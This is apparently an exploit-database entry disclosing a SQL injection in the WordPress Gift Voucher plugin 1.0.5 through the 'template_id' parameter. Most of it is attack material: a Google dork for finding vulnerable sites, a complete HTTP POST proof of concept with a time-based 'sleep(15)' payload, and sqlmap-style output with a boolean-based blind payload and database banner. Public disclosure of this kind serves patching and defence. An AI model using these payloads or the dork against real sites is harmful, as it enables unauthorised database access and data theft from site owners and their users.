# Exploit Title: WordPress Plugin Gift Voucher 1.0.5 - 'template_id' SQL Injection # Google Dork: intext:"/wp-content/plugins/gift-voucher/" # Date: 2018-08-23 # Exploit Author: Renos Nikolaou # Software Link: https://wordpress.org/plugins/gift-voucher/ # Vendor Homepage: http://www.codemenschen.at/ # Version: 1.0.5 # Tested on: Windows 10 # CVE: N/A # Description : The vulnerability allows an attacker to inject sql commands # on 'template_id' parameter. # PoC - Blind SQLi : POST /wp-admin/admin-ajax.php HTTP/1.1 Host: domain.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: http://domain.com/gift-voucher/ Content-Length: 62 Cookie: PHPSESSID=efa4of1gq42g0nd9nmj8dska50; __stripe_mid=1f8c5bef-b440-4803-bdd5-f0d0ea22007e; __stripe_sid=de547b6b-fa31-46a1-972b-7b3324272a23 Connection: close action=wpgv_doajax_front_template&template_id=1 and sleep(15)# Parameter: template_id (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: action=wpgv_doajax_front_template&template_id=1 AND 4448=4448 Vector: AND [INFERENCE] --- web application technology: Apache back-end DBMS: MySQL >= 5.0.0 banner: '5.5.59'